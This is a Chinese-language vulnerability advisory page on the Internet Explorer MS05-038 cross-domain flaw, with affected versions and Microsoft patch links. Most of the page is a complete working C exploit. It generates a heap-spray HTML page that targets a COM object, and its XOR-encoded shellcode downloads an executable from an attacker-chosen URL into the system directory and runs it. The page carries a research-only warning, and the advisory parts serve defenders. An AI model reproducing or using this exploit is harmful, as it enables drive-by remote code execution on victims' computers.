首页 -> 安全研究

安全研究

安全漏洞
Microsoft Internet Explorer Web文件夹行为跨域漏洞(MS05-038)

发布日期:2005-08-10
更新日期:2005-08-12

受影响系统:
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 5.0 SP4
Microsoft Internet Explorer 5.5 SP2
    - Microsoft Windows ME
Microsoft Internet Explorer 6.0
    - Microsoft Windows XP SP2
    - Microsoft Windows Server 2003 SP1
    - Microsoft Windows Server 2003
描述:
BUGTRAQ  ID: 14512
CVE(CAN) ID: CVE-2005-1989

Microsoft Internet Explorer是微软发表的非常流行的WEB浏览器。

Internet Explorer中的跨域漏洞可能允许信息泄漏或在受影响系统中远程执行任意代码。

攻击者可以创建恶意的Web页面,然后诱骗用户浏览这个页面。成功利用这个漏洞的攻击者可以完全控制受影响的系统。但是,必需相当程度的用户交互和社会工程学才能利用这个漏洞。

<*来源:Microsoft
        ZwelL (zwell@sohu.com
  
  链接:http://www.microsoft.com/technet/security/Bulletin/MS05-038.mspx?pf=true
        http://www.us-cert.gov/cas/techalerts/TA05-221A.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*+++++++++++++++++++++++++++++++++++++++++++++++
      Ms05 038 exploit POC
        Write By ZwelL
          2005 8 11
  http://www.donews.net/zwell
        zwell@sohu.com

Some code belongs to Lion(cnhonker), regards to him.
This code tested on Windows 2003
-----------------------------------------------*/

#include <stdio.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32")

// Use for find the ASM code
#define PROC_BEGIN                     __asm _emit 0x90 __asm  _emit 0x90\
                                       __asm _emit 0x90 __asm  _emit 0x90\
                                       __asm _emit 0x90 __asm  _emit 0x90\
                                       __asm _emit 0x90 __asm  _emit 0x90
#define PROC_END                       PROC_BEGIN
#define SEARCH_STR                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
#define SEARCH_LEN                     8
#define MAX_SC_LEN                     2048
#define HASH_KEY                       13

// Define Decode Parameter
#define DECODE_LEN                     21
#define SC_LEN_OFFSET                  7
#define ENC_KEY_OFFSET                 11
#define ENC_KEY                        0xff


// Define Function Addr
#define ADDR_LoadLibraryA              [esi]
#define ADDR_GetSystemDirectoryA       [esi+4]
#define ADDR_WinExec                   [esi+8]
#define ADDR_ExitProcess               [esi+12]
#define ADDR_URLDownloadToFileA        [esi+16]

// Need functions
unsigned char functions[100][128] =        
{                                           // [esi] stack layout
    // kernel32 4                           // 00 kernel32.dll
    {"LoadLibraryA"},                       //    [esi]
    {"GetSystemDirectoryA"},                //    [esi+4]
    {"WinExec"},                            //    [esi+8]      
    {"ExitProcess"},                        //    [esi+12]
    // urlmon  1                            // 01 urlmon.dll
    {"URLDownloadToFileA"},                 //    [esi+16]  
    {""},
};
    
// Shellcode string
unsigned char  sc[1024] = {0};
unsigned int   Sc_len;

char *htmlbody1=
"<html><body>\r\n"
"<SCRIPT language=\"javascript\">\r\n"
"shellcode = unescape(\"%u4343%u4343\"+\"";

char *htmlbody2=
"\");\r\n"
"bigblock = unescape(\"%u0D0D%u0D0D\");\r\n"
"headersize = 20;\r\n"
"slackspace = headersize+shellcode.length;\r\n"
"while (bigblock.length<slackspace) bigblock+=bigblock;\r\n"
"fillblock = bigblock.substring(0, slackspace);\r\n"
"block = bigblock.substring(0, bigblock.length-slackspace);\r\n"
"while(block.length+slackspace<0x40000) block = block+block+fillblock;\r\n"
"memory = new Array();\r\n"
"for (i=0;i<750;i++) memory[i] = block + shellcode;\r\n"
"</SCRIPT>\r\n"
"<object classid=\"CLSID:083863F1-70DE-11d0-BD40-00A0C911CE86\"></object>\r\n"
"Ms05038 Exploit POC<br>\r\n"
"Made By ZwelL< http://www.donews.net/zwell>\r\n"
"</html>";

// ASM shellcode main function
void    ShellCode();

// Get function hash
static DWORD __stdcall GetHash ( char *c )
{
    DWORD h = 0;
    
    while ( *c )
    {
        __asm ror h, HASH_KEY
        
        h += *c++;
    }
    return( h );
}

int buildfile(unsigned char *sc, int len)
{
    int i;
    char writebuf[4096];
    char tmp[4096];
    FILE *stream;

    memset(tmp, 0, 4096);
    memset(writebuf, 0, 4096);
    for(i = 0; i < len; i++)
    {
        sprintf(writebuf, "%s%.2x", writebuf, sc[i] & 0xff);
    }
    
    if(strlen(writebuf)%4!=0)
        strcat(writebuf, "00");

    for(i=0; i<(strlen(writebuf)/4); i++)
    {
        strcat(tmp, "\%u");
        strncat(tmp, &writebuf[i*4+2], 2);
        strncat(tmp, &writebuf[i*4], 2);
    }

    //printf("%s\n", writebuf);
    //printf("======================\n%s\n", tmp);
    
    if( (stream = fopen( "zwell_ms05038.html", "w+b" )) != NULL )
    {
        fwrite(htmlbody1, strlen(htmlbody1), 1, stream);
        fwrite( tmp, strlen(tmp), 1, stream );
        fwrite(htmlbody2, strlen(htmlbody2), 1, stream);
        fclose(stream);
    }
    else
    {
        printf("fopen wrong\n");
        exit(0);
    }
    return 0;
}

void Make_ShellCode(char *url1)
{
    unsigned char  *pSc_addr;
    unsigned int   Enc_key=ENC_KEY;
    unsigned long  dwHash[100];
    unsigned int   dwHashSize;
    int i,j,k,l;
    
    
    // Get functions hash
    //printf("[+] Get functions hash strings.\r\n");
    for (i=0;;i++)
    {
        if (functions[i][0] == '\x0') break;

        dwHash[i] = GetHash((char*)functions[i]);
        //printf("\t%.8X\t%s\n", dwHash[i], functions[i]);
    }
    dwHashSize = i*4;


    // Deal with shellcode
    pSc_addr = (unsigned char *)ShellCode;
    
    for (k=0;k<MAX_SC_LEN;++k )
    {
        if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0)
        {
            break;
        }
    }
    pSc_addr+=(k+SEARCH_LEN);               // Start of the ShellCode
    
    for (k=0;k<MAX_SC_LEN;++k)
    {
        if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {
            break;
        }
    }
    Sc_len=k;                               // Length of the ShellCode
    
    memcpy(sc, pSc_addr, Sc_len);           // Copy shellcode to sc[]


    // Add functions hash
    memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);
    Sc_len += dwHashSize;

    // Add url
    memcpy(sc+Sc_len, url1, strlen(url1)+1);  
    Sc_len += strlen(url1)+1;    

    // Deal with find the right XOR byte
    for(i=0xff; i>0; i--)
    {
        l = 0;
        for(j=DECODE_LEN; j<Sc_len; j++)
        {
            if (
                   ((sc[j] ^ i) == 0x26) || //%
                   ((sc[j] ^ i) == 0x3d) || //=
                   ((sc[j] ^ i) == 0x3f) || //?
                   ((sc[j] ^ i) == 0x40) || //@
                   ((sc[j] ^ i) == 0x00) ||
                   ((sc[j] ^ i) == 0x0D) ||
                   ((sc[j] ^ i) == 0x0A)
                )                           // Define Bad Characters
            {
                l++;                        // If found the right XOR byte&#65292;l \
equals 0  break;
            };
        }
    
        if (l==0)
        {
            Enc_key = i;
            
            //printf("[+] Find XOR Byte: 0x%02X\n", i);
            for(j=DECODE_LEN; j<Sc_len; j++)
            {
                sc[j] ^= Enc_key;
            }

            break;                          // If found the right XOR byte, Break
        }
    }

    // Deal with not found XOR byte
    if (l!=0)
   {
        printf("[-] No xor byte found!\r\n");
        exit(-1);
    }

    // Deal with DeCode string
    *(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;
    *(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;
    
    printf("[+] download url:%s\n", url1);
}

int help()
{
    printf("Usage : ms05038.exe url [-t] \n");
    printf("    the 't' option will let you test for the shellcode first\n");
    exit(0);
}

void main(int argc, char **argv)
{
    WSADATA        wsa;
    unsigned char url[255]={0};
    BOOL b_test;

    printf("\n========================================\n");
    printf("Ms05-038 exploit POC\n");
    printf("Write By Zwell\n");
    printf("2005-8-11\n");
    printf("http://www.donews.net/zwell\n");
    printf("zwell@sohu.com\n");
    printf("========================================\n\n");
    b_test=FALSE;
    if(argc<2)
        help();
    
    strncpy(url, argv[1], 255);

    if(argc == 3)
        if(!strcmp(argv[2], "-t"))
            b_test = TRUE;

    WSAStartup(MAKEWORD(2,2),&wsa);
    
    Make_ShellCode(url);
    printf("[+] Build shellcode successful\n");
    buildfile(sc, Sc_len);
    printf("[+] Build file successful\n");
    printf("Now, you can open the builded file(zwell_ms05038.html) with IE to see the \
result.Good Luck ^_^\n");


    if(b_test)
    {
        printf("Testing the shellcode...\n");
        ((void (*)(void)) &sc)();
    }
    return;
}

// ShellCode function
void ShellCode()
{
    __asm
    {
        PROC_BEGIN                          // C macro to begin proc
//--------------------------------------------------------------------
//
// DeCode
//
//--------------------------------------------------------------------
        jmp     short decode_end
        
decode_start:
        pop     ebx                         // Decode start addr (esp -> ebx)
        dec     ebx
        xor     ecx,ecx
        mov     cl,0xFF                     // Decode len
        
    decode_loop:
        xor     byte ptr [ebx+ecx],ENC_KEY     // Decode key
        loop    decode_loop
        jmp     short decode_ok

decode_end:
        call    decode_start
        
decode_ok:

//--------------------------------------------------------------------
//
// ShellCode
//
//--------------------------------------------------------------------
        jmp     sc_end
        
sc_start:        
        pop     edi                         // Hash string start addr (esp -> edi)

        // Get kernel32.dll base addr
        mov     eax, fs:0x30                // PEB
        mov     eax, [eax+0x0c]             // PROCESS_MODULE_INFO
        mov     esi, [eax+0x1c]             // InInitOrder.flink
        lodsd                               // eax = InInitOrder.blink
        mov     ebp, [eax+8]                // ebp = kernel32.dll base address

        mov     esi, edi                    // Hash string start addr -> esi
    
        // Get function addr of kernel32
        push    4
        pop     ecx
        
    getkernel32:
        call    GetProcAddress_fun
        loop    getkernel32

        // Get function addr of urlmon    
        push    0x00006e6f
        push    0x6d6c7275                 // urlmon
        push    esp
        call    ADDR_LoadLibraryA          // LoadLibraryA("urlmon");
        
        mov     ebp, eax                   // ebp = urlmon.dll base address
        
/*
        push    1
        pop     ecx

    geturlmon:
        call    GetProcAddress_fun
        loop    geturlmon
*/
        call    GetProcAddress_fun

        // url start addr = edi
        
//LGetSystemDirectoryA:
        sub     esp, 0x20
        mov     ebx, esp
        
        push    0x20
        push    ebx
        call   ADDR_GetSystemDirectoryA     // GetSystemDirectoryA
        
//LURLDownloadToFileA:    
        // eax = system path size
        // URLDownloadToFileA url save to a.exe
        mov     dword ptr [ebx+eax], 0x652E615C           // "\a.e"
        mov     dword ptr [ebx+eax+0x4], 0x00006578       // "xe"
        xor     eax, eax
        push    eax
        push    eax
        push    ebx                         // %systemdir%\a.exe
        push    edi                         // url
        push    eax
        call    ADDR_URLDownloadToFileA     // URLDownloadToFileA
        
//LWinExec:
        mov     ebx, esp
        push    eax
        push    ebx
        call    ADDR_WinExec                // WinExec(%systemdir%\a.exe);

Finished:
        //push    1
        call    ADDR_ExitProcess            // ExitProcess();

GetProcAddress_fun:    
        push    ecx
        push    esi
    
        mov     esi, [ebp+0x3C]             // e_lfanew
        mov     esi, [esi+ebp+0x78]         // ExportDirectory RVA
        add     esi, ebp                    // rva2va
        push    esi
        mov     esi, [esi+0x20]              // AddressOfNames RVA
        add     esi, ebp                    // rva2va
        xor     ecx, ecx
        dec     ecx

    find_start:
        inc     ecx
        lodsd
        add     eax, ebp
        xor     ebx, ebx
        
    hash_loop:
        movsx   edx, byte ptr [eax]
        cmp     dl, dh
        jz      short find_addr
        ror     ebx, HASH_KEY               // hash key
        add     ebx, edx
        inc     eax
        jmp     short hash_loop
    
    find_addr:
        cmp     ebx, [edi]                  // compare to hash
        jnz     short find_start
        pop     esi                         // ExportDirectory
        mov     ebx, [esi+0x24]             // AddressOfNameOrdinals RVA
        add     ebx, ebp                    // rva2va
        mov     cx, [ebx+ecx*2]             // FunctionOrdinal
        mov     ebx, [esi+0x1C]             // AddressOfFunctions RVA
        add     ebx, ebp                    // rva2va
        mov     eax, [ebx+ecx*4]            // FunctionAddress RVA
        add     eax, ebp                    // rva2va
        stosd                               // function address save to [edi]
        
        pop     esi
        pop     ecx
        ret
        
sc_end:
        call sc_start
      
        PROC_END                            //C macro to end proc
    }

建议:
厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS05-038)以及相应补丁:
MS05-038:Cumulative Security Update for Internet Explorer (896727)
链接:http://www.microsoft.com/technet/security/Bulletin/MS05-038.mspx?pf=true

补丁下载:

Microsoft Windows 2000 Service Pack 4上的Internet Explorer 5.01 Service Pack 4 - 下载更新:
http://www.microsoft.com/downloads/details.aspx?FamilyId=194E0EE7-919C-4A8B-AD8D-01A4FE771942

Microsoft Windows 2000 Service Pack 4或Microsoft Windows XP Service Pack 1上的Internet Explorer 6 Service Pack 1 – 下载更新:
http://www.microsoft.com/downloads/details.aspx?FamilyId=68300B15-1CF9-45FB-875E-2EF6D2FBC9ED

Microsoft Windows XP Service Pack 2的Internet Explorer 6 – 下载更新:
http://www.microsoft.com/downloads/details.aspx?FamilyId=648B6F0E-1695-44E5-826A-43406DF4858E

Microsoft Windows Server 2003和Microsoft Windows Server 2003 Service Pack 1的Internet Explorer 6 – 下载更新:
http://www.microsoft.com/downloads/details.aspx?FamilyId=F0B96EC3-E954-423A-9AB0-5712B9F14637
    
Microsoft Windows Server 2003 for Itanium-based Systems和Microsoft Windows Server 2003 with SP1 for Itanium-based Systems的Internet Explorer 6 – 下载更新:
http://www.microsoft.com/downloads/details.aspx?FamilyId=C24D3738-213A-41B8-84A3-2842B34D7B10

Microsoft Windows Server 2003 x64 Edition的Internet Explorer 6 – 下载更新:
http://www.microsoft.com/downloads/details.aspx?FamilyId=F2D544E7-33F5-4A65-A574-15495B05B883

Microsoft Windows XP Professional x64 Edition的Internet Explorer – 下载更新:
http://www.microsoft.com/downloads/details.aspx?FamilyId=1181BC67-0A1D-4A06-99AC-5B2BC6DFE0F6

浏览次数:5317
严重程度:38(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障